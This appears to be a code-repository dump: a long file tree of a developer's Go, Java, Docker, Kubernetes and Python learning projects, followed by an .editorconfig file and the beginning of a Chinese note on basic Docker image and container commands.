├── .editorconfig ├── .github ├── docker │ ├── 【Docker】Docker 命令.md │ ├── 【Docker】容器自启动.md │ └── 【Docker】搭建 Docker 私有仓库 harbor.md ├── java │ └── 【Java 配置】logback.md ├── linux │ ├── 【Linux】CentOS 7 设置时间.md │ └── 【Linux】CentOS 7 设置静态IP.md ├── problems-in-dev │ ├── 【Problems-in-dev】Android WebView 不支持 H5 input type="file" 解决方法.md │ ├── 【Problems-in-dev】IE 不兼容 js indexOf 函数.md │ ├── 【Problems-in-dev】js 清空 input:file 的值.md │ └── 【Problems-in-dev】npm 安装 sass-loader.md └── tools │ ├── 【Tools】MacOS 环境搭建.md │ ├── 【Tools】Nginx 入门到实践.md │ └── 【Tools】阿里云-香港服务器利用 Docker 搭建 SS 代理.md ├── .gitignore ├── .prettierrc ├── LICENSE ├── README.md ├── docker ├── gitlab │ └── docker-compose.yaml ├── hadoop │ ├── Dockerfile │ ├── core-site.xml │ ├── hdfs-site.xml │ ├── mapred-site.xml │ ├── ssh_config │ ├── start-all.sh │ └── yarn-site.xml ├── kafka │ └── Dockerfile ├── nacos │ ├── Dockerfile │ ├── application.properties │ └── startup.sh ├── rocketmq │ ├── config │ │ ├── broker-a │ │ │ ├── master │ │ │ │ └── broker.conf │ │ │ └── slave │ │ │ │ └── broker.conf │ │ └── broker-b │ │ │ ├── master │ │ │ └── broker.conf │ │ │ └── slave │ │ │ └── broker.conf │ ├── docker-compose.yml │ ├── rocketmq-4.6.1.Dockerfile │ ├── rocketmq-4.6.1 │ │ ├── LICENSE │ │ ├── NOTICE │ │ ├── README.md │ │ ├── benchmark │ │ │ ├── consumer.sh │ │ │ ├── producer.sh │ │ │ ├── runclass.sh │ │ │ └── tproducer.sh │ │ ├── bin │ │ │ ├── README.md │ │ │ ├── cachedog.sh │ │ │ ├── cleancache.sh │ │ │ ├── cleancache.v1.sh │ │ │ ├── dledger │ │ │ │ └── fast-try.sh │ │ │ ├── mqadmin │ │ │ ├── mqadmin.cmd │ │ │ ├── mqbroker │ │ │ ├── mqbroker.cmd │ │ │ ├── mqbroker.numanode0 │ │ │ ├── mqbroker.numanode1 │ │ │ ├── mqbroker.numanode2 │ │ │ ├── mqbroker.numanode3 │ │ │ ├── mqnamesrv │ │ │ ├── mqnamesrv.cmd │ │ │ ├── mqshutdown │ │ │ ├── mqshutdown.cmd │ │ │ ├── os.sh │ │ │ ├── play.cmd │ │ │ ├── play.sh │ │ │ ├── runbroker.cmd │ │ │ ├── runbroker.sh │ │ │ ├── runserver.cmd │ │ │ ├── runserver.sh │ │ │ ├── setcache.sh │ │ │ ├── startfsrv.sh │ │ │ ├── tools.cmd │ │ │ └── tools.sh │ │ ├── conf │ │ │ ├── 2m-2s-async │ │ │ │ ├── broker-a-s.properties │ │ │ │ ├── broker-a.properties │ │ │ │ ├── broker-b-s.properties │ │ │ │ └── broker-b.properties │ │ │ ├── 2m-2s-sync │ │ │ │ ├── broker-a-s.properties │ │ │ │ ├── broker-a.properties │ │ │ │ ├── broker-b-s.properties │ │ │ │ └── broker-b.properties │ │ │ ├── 2m-noslave │ │ │ │ ├── broker-a.properties │ │ │ │ ├── broker-b.properties │ │ │ │ └── broker-trace.properties │ │ │ ├── broker.conf │ │ │ ├── dledger │ │ │ │ ├── broker-n0.conf │ │ │ │ ├── broker-n1.conf │ │ │ │ └── broker-n2.conf │ │ │ ├── logback_broker.xml │ │ │ ├── logback_namesrv.xml │ │ │ ├── logback_tools.xml │ │ │ ├── plain_acl.yml │ │ │ └── tools.yml │ │ └── lib │ │ │ ├── commons-beanutils-1.9.2.jar │ │ │ ├── commons-cli-1.2.jar │ │ │ ├── commons-codec-1.9.jar │ │ │ ├── commons-collections-3.2.2.jar │ │ │ ├── commons-digester-1.8.1.jar │ │ │ ├── commons-lang3-3.4.jar │ │ │ ├── commons-logging-1.2.jar │ │ │ ├── commons-validator-1.6.jar │ │ │ ├── dledger-0.1.jar │ │ │ ├── fastjson-1.2.61.jar │ │ │ ├── guava-19.0.jar │ │ │ ├── javassist-3.20.0-GA.jar │ │ │ ├── jcommander-1.72.jar │ │ │ ├── jna-4.2.2.jar │ │ │ ├── logback-classic-1.0.13.jar │ │ │ ├── logback-core-1.0.13.jar │ │ │ ├── netty-all-4.0.42.Final.jar │ │ │ ├── netty-tcnative-boringssl-static-1.1.33.Fork26.jar │ │ │ ├── openmessaging-api-0.3.1-alpha.jar │ │ │ ├── rocketmq-acl-4.6.1.jar │ │ │ ├── rocketmq-broker-4.6.1.jar │ │ │ ├── rocketmq-client-4.6.1.jar │ │ │ ├── rocketmq-common-4.6.1.jar │ │ │ ├── rocketmq-example-4.6.1.jar │ │ │ ├── rocketmq-filter-4.6.1.jar │ │ │ ├── rocketmq-logging-4.6.1.jar │ │ │ ├── rocketmq-namesrv-4.6.1.jar │ │ │ ├── rocketmq-openmessaging-4.6.1.jar │ │ │ ├── rocketmq-remoting-4.6.1.jar │ │ │ ├── rocketmq-srvutil-4.6.1.jar │ │ │ ├── rocketmq-store-4.6.1.jar │ │ │ ├── rocketmq-tools-4.6.1.jar │ │ │ ├── slf4j-api-1.7.7.jar │ │ │ └── snakeyaml-1.19.jar │ ├── rocketmq-console-ng-1.0.1.jar │ └── rocketmq-console.Dockerfile ├── sentinel │ └── Dockerfile ├── thrift │ └── Dockerfile ├── ubuntu │ └── Dockerfile └── zookeeper-latest │ └── docker-compose.yml ├── golang ├── algorithm │ ├── go.mod │ ├── sort │ │ ├── bubble_sort_test.go │ │ ├── insertion_sort_test.go │ │ └── selection_sort_test.go │ └── utils.go ├── basic │ ├── datasource │ │ └── datasource_test.go │ ├── datastruct │ │ ├── array-list │ │ │ └── array-list.go │ │ ├── datastruct_test.go │ │ ├── linked_list │ │ │ └── linked_list.go │ │ ├── queue │ │ │ └── queue.go │ │ └── stack │ │ │ └── stack.go │ ├── desgin-patterns │ │ ├── decorator │ │ │ ├── decorator.go │ │ │ └── decorator_test.go │ │ ├── factory-method │ │ │ ├── factory_method.go │ │ │ └── factory_method_test.go │ │ ├── inversion-of-control │ │ │ ├── calculator.go │ │ │ ├── ioc_test.go │ │ │ └── undo.go │ │ ├── map-reduce │ │ │ ├── map_reduce.go │ │ │ └── map_reduce_test.go │ │ ├── modules │ │ │ ├── shape.go │ │ │ ├── shape_circle.go │ │ │ ├── shape_rectangle.go │ │ │ └── shape_triangle.go │ │ ├── observer │ │ │ ├── goods.go │ │ │ ├── observer.go │ │ │ ├── observer_test.go │ │ │ └── user.go │ │ └── oop │ │ │ ├── chinese.go │ │ │ ├── human.go │ │ │ └── people.go │ ├── error-handling │ │ ├── defer_test.go │ │ ├── panic_recover_test.go │ │ └── server_error_handler_test.go │ ├── generic │ │ └── generic_test.go │ ├── go.mod │ ├── go.sum │ ├── goroutine │ │ ├── channel_test.go │ │ ├── context_test.go │ │ ├── goroutine_test.go │ │ └── sync_test.go │ ├── io │ │ ├── bufio_test.go │ │ ├── file_test.go │ │ └── ioutil_test.go │ ├── net │ │ ├── rpc │ │ │ ├── client │ │ │ │ ├── client.go │ │ │ │ └── client_proxy │ │ │ │ │ └── client_proxy.go │ │ │ ├── handler │ │ │ │ └── goods_service.go │ │ │ ├── rpc_test.go │ │ │ └── server │ │ │ │ ├── model │ │ │ │ └── goods.go │ │ │ │ ├── server.go │ │ │ │ └── server_proxy │ │ │ │ └── server_proxy.go │ │ └── socket │ │ │ ├── tcp │ │ │ ├── tcp_client.go │ │ │ └── tcp_server.go │ │ │ └── udp │ │ │ ├── udp_client.go │ │ │ └── udp_server.go │ ├── os │ │ └── signal.go │ ├── other │ │ └── embed-practice │ │ │ ├── embed_test.go │ │ │ └── static │ │ │ ├── css │ │ │ └── index.css │ │ │ ├── js │ │ │ └── index.js │ │ │ └── templates │ │ │ └── index.html │ ├── utils │ │ ├── exec_test.go │ │ ├── flag_test.go │ │ ├── json_test.go │ │ └── time_test.go │ └── web │ │ ├── http_request_test.go │ │ ├── http_test.go │ │ └── template │ │ └── index.html ├── custom │ ├── main.go │ └── web-framework │ │ ├── context.go │ │ ├── router.go │ │ └── server.go ├── gin │ ├── dto │ │ └── user.go │ ├── go.mod │ ├── go.sum │ ├── handle │ │ └── handle.go │ ├── main.go │ ├── middleware │ │ └── middleware.go │ ├── proto-source │ │ ├── proto │ │ │ └── user.pb.go │ │ └── user.proto │ ├── static │ │ └── index.html │ ├── template │ │ └── index.html │ └── validate │ │ └── validate.go ├── go-kit │ ├── endpoint │ │ └── user_endpoint.go │ ├── go.mod │ ├── go.sum │ ├── main.go │ ├── service │ │ └── user_service.go │ ├── transport │ │ └── service_transport.go │ └── utils │ │ └── consul.go ├── go.mod ├── go.sum ├── grpc │ ├── auth-grpc │ │ ├── client │ │ │ └── client.go │ │ ├── proto-source │ │ │ ├── employee.proto │ │ │ └── proto │ │ │ │ ├── employee.pb.go │ │ │ │ └── employee_grpc.pb.go │ │ └── server │ │ │ └── server.go │ ├── go.mod │ ├── go.sum │ ├── simple-grpc │ │ ├── client │ │ │ └── client.go │ │ ├── proto-source │ │ │ ├── helloworld.proto │ │ │ └── proto │ │ │ │ ├── helloworld.pb.go │ │ │ │ └── helloworld_grpc.pb.go │ │ └── server │ │ │ └── server.go │ └── stream-grpc │ │ ├── client │ │ └── client_test.go │ │ ├── proto-source │ │ ├── proto │ │ │ ├── stream.pb.go │ │ │ └── stream_grpc.pb.go │ │ └── stream.proto │ │ └── server │ │ └── server.go ├── leetcode │ ├── leetcode203_remove_linked_list_elements_test.go │ ├── leetcode206_reverse_linked_list_test.go │ └── leetcode20_valid_parentheses_test.go └── tool-library │ ├── go.mod │ ├── go.sum │ ├── gorm │ └── gorm.go │ ├── k8s-client │ ├── k8s_client.go │ ├── k8s_client_test.go │ ├── namespace.go │ ├── resource.go │ └── resource │ │ └── nginx.yaml │ ├── logrus │ └── logrus.go │ ├── sarama │ ├── consumer │ │ └── sarama_consumer.go │ └── producer │ │ └── sarama_producer.go │ └── viper │ ├── conf │ ├── conf.go │ ├── config.yml │ └── setting.go │ ├── viper.go │ └── viper_test.go ├── java ├── bigdata │ ├── build.gradle │ └── src │ │ └── main │ │ ├── java │ │ └── me │ │ │ └── hvkcoder │ │ │ ├── flink │ │ │ ├── BatchWordCountJava.java │ │ │ └── StreamingWordCountJava.java │ │ │ ├── hadoop │ │ │ ├── HDFS.java │ │ │ └── MapReduce.java │ │ │ ├── parquet │ │ │ ├── AvroParquet.java │ │ │ ├── Parquet.java │ │ │ └── User.java │ │ │ ├── spark │ │ │ └── core │ │ │ │ └── WordCountJava.java │ │ │ └── zookeeper │ │ │ ├── CuratorTest.java │ │ │ ├── ZookeeperByKerberos.java │ │ │ └── ZookeeperTest.java │ │ ├── resources │ │ ├── core-site.xml │ │ ├── data.txt │ │ ├── hdfs-site.xml │ │ ├── kerberos │ │ │ ├── krb5.conf │ │ │ └── zk-cli-jaas.conf │ │ ├── mapred-site.xml │ │ └── yarn-site.xml │ │ └── scala │ │ └── me │ │ └── hvkcoder │ │ ├── flink │ │ ├── BatchWordCountScala.scala │ │ └── StreamingWordCountScala.scala │ │ └── spark │ │ └── core │ │ ├── RDD_Create_Memory.scala │ │ ├── RDD_Create_Partition.scala │ │ └── WordCountScala.scala ├── build.gradle ├── dubbo │ ├── build.gradle │ ├── common │ │ ├── build.gradle │ │ └── src │ │ │ └── main │ │ │ └── java │ │ │ └── me │ │ │ └── hvkcoder │ │ │ └── dubbo │ │ │ └── common │ │ │ └── service │ │ │ ├── GreetingsService.java │ │ │ └── impl │ │ │ └── GreetingsServiceImpl.java │ ├── consumer │ │ ├── build.gradle │ │ └── src │ │ │ └── main │ │ │ ├── java │ │ │ └── me │ │ │ │ └── hvkcoder │ │ │ │ └── dubbo │ │ │ │ └── consumer │ │ │ │ ├── DubboConsumer.java │ │ │ │ ├── DubboConsumerApplication.java │ │ │ │ ├── RMIConsumer.java │ │ │ │ └── controller │ │ │ │ └── TestController.java │ │ │ └── resources │ │ │ └── application.yml │ └── provider │ │ ├── build.gradle │ │ └── src │ │ └── main │ │ ├── java │ │ └── me │ │ │ └── hvkcoder │ │ │ └── dubbo │ │ │ └── provider │ │ │ ├── DubboProvider.java │ │ │ ├── DubboProviderApplication.java │ │ │ └── RMIProvider.java │ │ └── resources │ │ └── application.yml ├── gradle │ └── wrapper │ │ ├── gradle-wrapper.jar │ │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── java-basic │ ├── README.md │ ├── build.gradle │ └── src │ │ └── main │ │ ├── java │ │ └── me │ │ │ └── hvkcoder │ │ │ └── java_basic │ │ │ ├── algorithm │ │ │ ├── BinarySearch.java │ │ │ ├── DivideMoneyRandomly.java │ │ │ ├── SortBubble.java │ │ │ ├── SortInsertion.java │ │ │ ├── SortSelection.java │ │ │ ├── Transform2Binary.java │ │ │ └── visualAlgo │ │ │ │ ├── AlgoFrame.java │ │ │ │ └── AlgoVisHelper.java │ │ │ ├── data_struct │ │ │ ├── _ArrayList.java │ │ │ ├── _LinkedList.java │ │ │ └── base │ │ │ │ ├── _AbstractList.java │ │ │ │ ├── _Iterator.java │ │ │ │ └── _List.java │ │ │ ├── desgin_patterns │ │ │ ├── behavioral │ │ │ │ └── ObserverPattern.java │ │ │ ├── creational │ │ │ │ └── singleton │ │ │ │ │ ├── SingletonEH.java │ │ │ │ │ ├── SingletonEnum.java │ │ │ │ │ ├── SingletonInnerClass.java │ │ │ │ │ ├── SingletonLH.java │ │ │ │ │ ├── SingletonLazyLoading.java │ │ │ │ │ └── practice │ │ │ │ │ └── TicketMaker.java │ │ │ └── structural │ │ │ │ └── decorator │ │ │ │ ├── Decorator.java │ │ │ │ ├── Drink.java │ │ │ │ ├── Main.java │ │ │ │ ├── RedBean.java │ │ │ │ └── Soya.java │ │ │ ├── docker │ │ │ └── DockerJava.java │ │ │ ├── io │ │ │ ├── FTPUtil.java │ │ │ ├── RandomAccessFileDemo.java │ │ │ ├── SerializableDemo.java │ │ │ ├── netty │ │ │ │ ├── ChatNatty.java │ │ │ │ ├── TestNetty.java │ │ │ │ ├── custom │ │ │ │ │ └── codec │ │ │ │ │ │ ├── InvokerProtocol.java │ │ │ │ │ │ ├── InvokerProtocolDecoder.java │ │ │ │ │ │ └── InvokerProtocolEncoder.java │ │ │ │ ├── echo │ │ │ │ │ ├── client │ │ │ │ │ │ ├── EchoClient.java │ │ │ │ │ │ └── EchoClientHandler.java │ │ │ │ │ └── server │ │ │ │ │ │ ├── EchoServer.java │ │ │ │ │ │ └── EchoServerHandler.java │ │ │ │ ├── heart │ │ │ │ │ └── beat │ │ │ │ │ │ ├── HeartBeatClient.java │ │ │ │ │ │ └── HeartBeatServer.java │ │ │ │ ├── httpserver │ │ │ │ │ ├── CustomHandler.java │ │ │ │ │ └── HttpServer.java │ │ │ │ ├── protobuf │ │ │ │ │ ├── ProtoBufClient.java │ │ │ │ │ ├── ProtoBufServer.java │ │ │ │ │ └── proto │ │ │ │ │ │ └── MessageDataProto.java │ │ │ │ ├── tomcat │ │ │ │ │ ├── TomcatServer.java │ │ │ │ │ ├── http │ │ │ │ │ │ ├── TomcatRequest.java │ │ │ │ │ │ ├── TomcatResponse.java │ │ │ │ │ │ └── TomcatServlet.java │ │ │ │ │ └── servlet │ │ │ │ │ │ ├── FirstServlet.java │ │ │ │ │ │ └── SecondServlet.java │ │ │ │ └── websocket │ │ │ │ │ ├── WebSocketHandler.java │ │ │ │ │ ├── WebSocketServer.java │ │ │ │ │ └── index.html │ │ │ ├── nio │ │ │ │ ├── BufferUsage.java │ │ │ │ ├── ChannelUsage.java │ │ │ │ ├── SelectorUsage.java │ │ │ │ └── chatroom │ │ │ │ │ ├── ChatClient.java │ │ │ │ │ └── ChatServer.java │ │ │ ├── reactor │ │ │ │ ├── master_slave │ │ │ │ │ └── ReactorMasterSlave.java │ │ │ │ ├── multi │ │ │ │ │ └── ReactorMultiThread.java │ │ │ │ └── single │ │ │ │ │ ├── ReactorSingleClient.java │ │ │ │ │ └── ReactorSingleServer.java │ │ │ └── socket │ │ │ │ ├── InetAddressUsage.java │ │ │ │ ├── NetWorkInterfaceUsage.java │ │ │ │ ├── URLUsage.java │ │ │ │ ├── tcp │ │ │ │ ├── TcpClient.java │ │ │ │ └── TcpServer.java │ │ │ │ └── udp │ │ │ │ ├── UDPClient.java │ │ │ │ └── UDPServer.java │ │ │ ├── java8 │ │ │ ├── CollectorsUsage.java │ │ │ ├── ReactiveStream.java │ │ │ ├── StreamUsage.java │ │ │ └── lambda │ │ │ │ ├── ConsumerUsage.java │ │ │ │ ├── FunctionUsage.java │ │ │ │ ├── PredicateUsage.java │ │ │ │ └── SupplierUsage.java │ │ │ ├── juc │ │ │ ├── OnlyMain.java │ │ │ ├── aqs │ │ │ │ ├── AQS01_CountDownLatch.java │ │ │ │ ├── AQS02_CyclicBarrier.java │ │ │ │ ├── AQS03_Semaphore.java │ │ │ │ └── AQS04_ReentrantLock.java │ │ │ ├── practice │ │ │ │ ├── Downloader.java │ │ │ │ └── PrintABC.java │ │ │ └── thread │ │ │ │ ├── Thread01_Creation.java │ │ │ │ ├── Thread02_Synchronized.java │ │ │ │ ├── Thread03_State.java │ │ │ │ ├── Thread04_DeadLock.java │ │ │ │ ├── Thread05_Interrupted.java │ │ │ │ ├── Thread06_ThreadLocal.java │ │ │ │ ├── Thread07_CompletableFuture.java │ │ │ │ ├── Thread08_CustomThreadPool.java │ │ │ │ └── Thread09_MyThreadPool.java │ │ │ ├── jvm │ │ │ ├── interview │ │ │ │ └── STW.java │ │ │ ├── proxy │ │ │ │ ├── jdk │ │ │ │ │ ├── CustomClassLoader.java │ │ │ │ │ ├── CustomInvocationHandler.java │ │ │ │ │ └── CustomProxy.java │ │ │ │ └── test │ │ │ │ │ ├── Person.java │ │ │ │ │ └── ProxyTest.java │ │ │ └── reflect │ │ │ │ ├── ReflectSample.java │ │ │ │ ├── Robot.java │ │ │ │ └── annotation │ │ │ │ ├── ch01 │ │ │ │ ├── PasswordUtils.java │ │ │ │ ├── UseCase.java │ │ │ │ └── UseCaseTracker.java │ │ │ │ └── ch02 │ │ │ │ ├── Student.java │ │ │ │ ├── TableCreator.java │ │ │ │ └── database │ │ │ │ ├── Constraints.java │ │ │ │ ├── DBTable.java │ │ │ │ ├── JdbcType.java │ │ │ │ └── TableField.java │ │ │ ├── leetcode │ │ │ ├── LeetCode1114_按序打印.java │ │ │ ├── LeetCode1115_交替打印FooBar.java │ │ │ ├── LeetCode1116_打印零与奇偶数.java │ │ │ ├── LeetCode144_二叉树的前序遍历.java │ │ │ ├── LeetCode145_二叉树的后序遍历.java │ │ │ ├── LeetCode206_反转链表.java │ │ │ ├── LeetCode208_实现Trie.java │ │ │ ├── LeetCode20_有效的括号.java │ │ │ ├── LeetCode211_添加与搜索单词.java │ │ │ ├── LeetCode21_合并两个有序链表.java │ │ │ ├── LeetCode2_两数相加.java │ │ │ ├── LeetCode35_搜索插入位置.java │ │ │ ├── LeetCode509_斐波那契数.java │ │ │ ├── LeetCode70_爬楼梯.java │ │ │ ├── LeetCode724_寻找数组的中心索引.java │ │ │ ├── LeetCode83_删除排序链表中的重复元素.java │ │ │ ├── LeetCode94_二叉树的中序遍历.java │ │ │ ├── LeetCode_704_二分查找.java │ │ │ └── 剑指_OfferII077_链表排序.java │ │ │ └── validation │ │ │ ├── UserInfo.java │ │ │ ├── UserInfoService.java │ │ │ ├── ValidationTest.java │ │ │ └── custom │ │ │ ├── Phone.java │ │ │ └── PhoneValidator.java │ │ ├── proto │ │ └── Message.proto │ │ └── resources │ │ └── web.properties ├── log4j2-poc │ ├── build.gradle │ └── src │ │ └── main │ │ └── java │ │ └── me │ │ └── hvkcoder │ │ └── log4j2 │ │ ├── Exploit.java │ │ ├── LDAPRefServer.java │ │ └── Log4j.java ├── message-queue │ ├── build.gradle │ └── src │ │ └── main │ │ ├── java │ │ └── me │ │ │ └── hvkcoder │ │ │ └── message_queue │ │ │ └── kafka │ │ │ ├── Consumer.java │ │ │ ├── CustomInterceptor.java │ │ │ ├── CustomPartitioner.java │ │ │ ├── KafkaTopicDML.java │ │ │ ├── Producer.java │ │ │ ├── partitioner │ │ │ └── CustomPartitioner.java │ │ │ └── serializer │ │ │ ├── CustomDeserializer.java │ │ │ ├── CustomSerializer.java │ │ │ └── User.java │ │ └── resources │ │ └── logback.xml ├── mybatis │ ├── build.gradle │ └── src │ │ └── main │ │ ├── java │ │ └── me │ │ │ └── hvkcoder │ │ │ └── mybatis │ │ │ └── practice │ │ │ ├── MyBatisPractice.java │ │ │ ├── domain │ │ │ └── User.java │ │ │ └── repository │ │ │ └── UserMapper.java │ │ └── resources │ │ ├── mapper │ │ └── UserMapper.xml │ │ └── mybatis-config.xml ├── scala-basic │ ├── build.gradle │ └── src │ │ └── main │ │ ├── resources │ │ └── data.txt │ │ └── scala │ │ └── me │ │ └── hvkcoder │ │ ├── algorithm │ │ ├── SortBubble.scala │ │ ├── SortInsertion.scala │ │ └── SortSelection.scala │ │ └── basic │ │ ├── BasicScala.scala │ │ ├── Collections.scala │ │ ├── Function.scala │ │ ├── Implicit.scala │ │ ├── Match.scala │ │ ├── ProcessControl.scala │ │ ├── ReadFile.scala │ │ └── Trait.scala ├── settings.gradle ├── spring │ ├── build.gradle │ ├── custom-spring-boot-starter │ │ └── src │ │ │ └── main │ │ │ ├── java │ │ │ └── me │ │ │ │ └── hvkcoder │ │ │ │ └── custom │ │ │ │ └── spring │ │ │ │ └── boot │ │ │ │ └── starter │ │ │ │ ├── NettyProperties.java │ │ │ │ ├── NettyServer.java │ │ │ │ ├── NettyStarter.java │ │ │ │ └── callback │ │ │ │ ├── CallBack.java │ │ │ │ └── CallBackRegistry.java │ │ │ └── resources │ │ │ └── META-INF │ │ │ └── spring.factories │ ├── service-consumer │ │ ├── build.gradle │ │ └── src │ │ │ └── main │ │ │ ├── java │ │ │ └── me │ │ │ │ └── hvkcoder │ │ │ │ └── spring │ │ │ │ └── service │ │ │ │ └── consumer │ │ │ │ ├── ServiceConsumerApplication.java │ │ │ │ └── controller │ │ │ │ ├── NacosConfigController.java │ │ │ │ └── RestTemplateController.java │ │ │ └── resources │ │ │ ├── application.yml │ │ │ └── bootstrap.yml │ ├── service-provider │ │ ├── build.gradle │ │ └── src │ │ │ └── main │ │ │ ├── java │ │ │ └── me │ │ │ │ └── hvkcoder │ │ │ │ └── service │ │ │ │ └── provider │ │ │ │ ├── ServiceProviderApplication.java │ │ │ │ ├── controller │ │ │ │ └── ProviderController.java │ │ │ │ └── service │ │ │ │ └── HealthStatusService.java │ │ │ └── resources │ │ │ └── application.yml │ ├── spring-cloud-eureka │ │ ├── README.md │ │ ├── build.gradle │ │ └── src │ │ │ └── main │ │ │ ├── java │ │ │ └── me │ │ │ │ └── hvkcoder │ │ │ │ └── spring_cloud_eureka │ │ │ │ └── EurekaServerApplication.java │ │ │ └── resources │ │ │ ├── application-eureka1.yml │ │ │ ├── application-eureka2.yml │ │ │ └── application.yml │ ├── spring-cloud-gateway │ │ ├── build.gradle │ │ └── src │ │ │ └── main │ │ │ ├── java │ │ │ └── me │ │ │ │ └── hvkcoder │ │ │ │ └── springcloud │ │ │ │ └── gateway │ │ │ │ └── GatewayApplication.java │ │ │ └── resources │ │ │ └── application.yml │ ├── spring-cloud-zuul │ │ ├── build.gradle │ │ └── src │ │ │ └── main │ │ │ ├── java │ │ │ └── me │ │ │ │ └── hvkcoder │ │ │ │ └── springcloud │ │ │ │ └── zuul │ │ │ │ ├── ZuulServerApplication.java │ │ │ │ └── filter │ │ │ │ ├── PostRequestFilter.java │ │ │ │ └── PreRequestFilter.java │ │ │ └── resources │ │ │ └── application.yml │ ├── spring-custom │ │ ├── spring-custom.gradle │ │ └── src │ │ │ └── main │ │ │ └── java │ │ │ └── me │ │ │ └── hvkcoder │ │ │ └── spring │ │ │ ├── custom │ │ │ ├── AnnotationConfigApplicationContext.java │ │ │ ├── ApplicationContext.java │ │ │ ├── BeanDefinition.java │ │ │ ├── annotation │ │ │ │ ├── Autowired.java │ │ │ │ ├── Component.java │ │ │ │ ├── ComponentScan.java │ │ │ │ └── Scope.java │ │ │ ├── aware │ │ │ │ ├── ApplicationContextAware.java │ │ │ │ ├── Aware.java │ │ │ │ └── BeanNameAware.java │ │ │ └── init │ │ │ │ ├── BeanPostProcessor.java │ │ │ │ └── InitializingBean.java │ │ │ └── test │ │ │ ├── IoCApplication.java │ │ │ └── service │ │ │ ├── OrderService.java │ │ │ └── UserService.java │ ├── spring-practice │ │ ├── bin │ │ │ └── service.sh │ │ ├── build.gradle │ │ └── src │ │ │ ├── main │ │ │ ├── java │ │ │ │ └── me │ │ │ │ │ └── hvkcoder │ │ │ │ │ └── spring │ │ │ │ │ └── practice │ │ │ │ │ ├── PracticeApplication.java │ │ │ │ │ ├── kafka │ │ │ │ │ ├── KafkaConfig.java │ │ │ │ │ └── KafkaConsumer.java │ │ │ │ │ ├── netty │ │ │ │ │ ├── NettyServer.java │ │ │ │ │ └── ServerHandler.java │ │ │ │ │ ├── redis │ │ │ │ │ └── RedisTemplateConfig.java │ │ │ │ │ ├── scheduler │ │ │ │ │ ├── SchedulerController.java │ │ │ │ │ └── config │ │ │ │ │ │ └── SchedulerTask.java │ │ │ │ │ ├── sse │ │ │ │ │ └── SSEController.java │ │ │ │ │ └── websocket │ │ │ │ │ ├── MyWebSocket.java │ │ │ │ │ └── WebSocketConfig.java │ │ │ └── resources │ │ │ │ ├── application.yml │ │ │ │ ├── redis │ │ │ │ └── seckill.lua │ │ │ │ └── template │ │ │ │ └── sse-practice.html │ │ │ └── test │ │ │ └── java │ │ │ └── me │ │ │ └── hvkcoder │ │ │ └── spring │ │ │ └── practice │ │ │ └── test │ │ │ └── RedisTemplateTest.java │ ├── spring-security │ │ ├── build.gradle │ │ └── src │ │ │ └── main │ │ │ ├── java │ │ │ └── me │ │ │ │ └── hvkcoder │ │ │ │ └── spring_security │ │ │ │ ├── SpringSecurityApplication.java │ │ │ │ ├── business │ │ │ │ ├── UserInfoService.java │ │ │ │ └── impl │ │ │ │ │ └── UserInfoServiceImpl.java │ │ │ │ ├── controller │ │ │ │ ├── IndexController.java │ │ │ │ └── PageController.java │ │ │ │ ├── domain │ │ │ │ └── UserInfo.java │ │ │ │ ├── repository │ │ │ │ └── UserInfoRepository.java │ │ │ │ └── security │ │ │ │ ├── CasConfig.java │ │ │ │ ├── CustomAuthenticationEntryPoint.java │ │ │ │ ├── CustomSecurityConfig.java │ │ │ │ ├── CustomUserDetailService.java │ │ │ │ └── filter │ │ │ │ └── VerificationCodeFilter.java │ │ │ └── resources │ │ │ ├── application.yml │ │ │ ├── data.sql │ │ │ ├── static │ │ │ ├── css │ │ │ │ └── style.css │ │ │ └── img │ │ │ │ └── photo.jpg │ │ │ └── templates │ │ │ └── login.html │ └── spring-webflux │ │ ├── build.gradle │ │ └── src │ │ └── main │ │ ├── java │ │ └── me │ │ │ └── hvkcoder │ │ │ └── spring │ │ │ └── webflux │ │ │ ├── WebFluxApplication.java │ │ │ ├── controller │ │ │ ├── UserController.java │ │ │ └── WebFluxController.java │ │ │ ├── domain │ │ │ └── User.java │ │ │ ├── handler │ │ │ └── UserHandler.java │ │ │ ├── reactor │ │ │ ├── FluxUsage.java │ │ │ └── MonoUsage.java │ │ │ ├── repository │ │ │ └── UserRepository.java │ │ │ └── router │ │ │ └── AllRouter.java │ │ └── resources │ │ └── application.yml └── vertx │ ├── build.gradle │ └── src │ └── main │ ├── java │ └── me │ │ └── hvkcoder │ │ └── vertx │ │ └── simple │ │ ├── PassConfigData.java │ │ └── SimpleHttpServerVerticle.java │ └── resources │ └── webroot │ └── event-stream.html ├── kubernetes ├── grafana.yaml ├── hadoop.yaml ├── hue.yaml ├── kafka.yaml ├── kuboard-v3.yaml ├── mongo.yaml ├── mysql.yaml ├── nacos-cluster.yaml ├── nacos │ ├── conf │ │ ├── 1.4.0-ipv6_support-update.sql │ │ ├── application.properties │ │ ├── nacos-logback.xml │ │ ├── nacos-mysql.sql │ │ └── schema.sql │ └── nacos.yml ├── postgresql.yaml ├── redis.yaml ├── solr.yaml ├── zookeeper-cluster.yaml └── zookeeper.yaml ├── python ├── basic │ ├── file.ipynb │ ├── net.ipynb │ ├── oop.ipynb │ ├── processbar.ipynb │ ├── sort.ipynb │ └── thread.ipynb ├── comic_spider │ └── spider.py ├── machine-learning.ipynb ├── matplotlib.ipynb ├── numpy.ipynb ├── opencv.ipynb ├── pandas.ipynb ├── parquet文件操作.ipynb ├── pytorch.ipynb ├── pytorch │ ├── Pytorch调用Mac_GPU.ipynb │ └── Torchvision.ipynb ├── quantitative-trading.ipynb └── seaborn.ipynb └── rust └── basic ├── Cargo.lock ├── Cargo.toml └── src └── main.rs /.editorconfig: -------------------------------------------------------------------------------- 1 | # http://editorconfig.org/ 2 | # top-most EditorConfig file 3 | root = true 4 | 5 | # match all file 6 | [*] 7 | 8 | # control the character set 9 | charset = utf-8 10 | 11 | # tab indentation 12 | indent_size = 2 13 | indent_style = tab 14 | 15 | # control line breaks are represented 16 | end_of_line = lf 17 | 18 | # remove any whitespace characters preceding newline characters 19 | trim_trailing_whitespace = true 20 | -------------------------------------------------------------------------------- /.github/docker/【Docker】Docker 命令.md: -------------------------------------------------------------------------------- 1 | ## 导出 docker images 2 | 3 | ```bash 4 | $ docker save -o path.tar imageName 5 | ``` 6 | 7 | ## 导入 docker images 8 | 9 | ```bash 10 | $ docker load < image.tar 11 | ``` 12 | 13 | ## 监控容器资源消耗 14 | 15 | ```bash 16 | $ docker stats [Options] [containerID/containerName] 17 | ``` 18 | 19 | 默认情况下,stats 命令会每隔 1s 刷新输出 20 | 21 | - [CONTAINER]:以短格式显示容器的 